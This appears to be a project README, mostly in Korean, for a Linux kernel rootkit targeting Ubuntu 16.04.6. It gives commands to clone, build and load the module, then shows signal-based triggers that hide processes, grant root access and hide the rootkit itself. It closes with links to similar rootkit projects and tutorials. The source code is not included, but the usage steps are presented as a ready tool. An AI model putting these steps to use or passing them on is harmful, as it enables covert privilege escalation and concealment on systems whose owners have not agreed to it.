
A rootkit for ubuntu-16.04.6 (Linux 4.4). Can hide a process, give root access and hide itself
이것은 ubuntu-16.04.6-desktop-amd64 (Linux 4.4)에서 테스트된 루트킷이지만, 다른 커널 버전으로 포팅하기 쉬워야 합니다.
동영상 링크 --> https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing
저장소를 클론합니다
git clone https://github.com/Asekon/RootKit
폴더로 이동합니다
cd RootKit
컴파일합니다
sudo make
루트로 커널에 모듈을 삽입합니다
sudo insmod RootKit.ko
프로세스 (숨기기/숨기기 해제) (예: PID 500)
kill -0 500
루트 액세스 권한 획득 (아무 PID나 삽입할 수 있으며, 0일 필요는 없습니다)
kill -1 0
루트킷 (숨기기/숨기기 해제) (아무 PID나 삽입할 수 있으며, 0일 필요는 없습니다)
kill -2 0
루트로 커널에서 모듈을 제거합니다 (먼저 모듈 목록에 표시되는지 확인하세요)
sudo rmmod RootKit
https://en.wikipedia.org/wiki/Rootkit
http://dandylife.net/blog/archives/304
https://github.com/nurupo/rootkit
https://github.com/f0rb1dd3n/Reptile
https://github.com/m0nad/Diamorphine
http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/
http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html
https://yassine.tioual.com/index.php/2017/01/10/hiding-processes-for-fun-and-profit/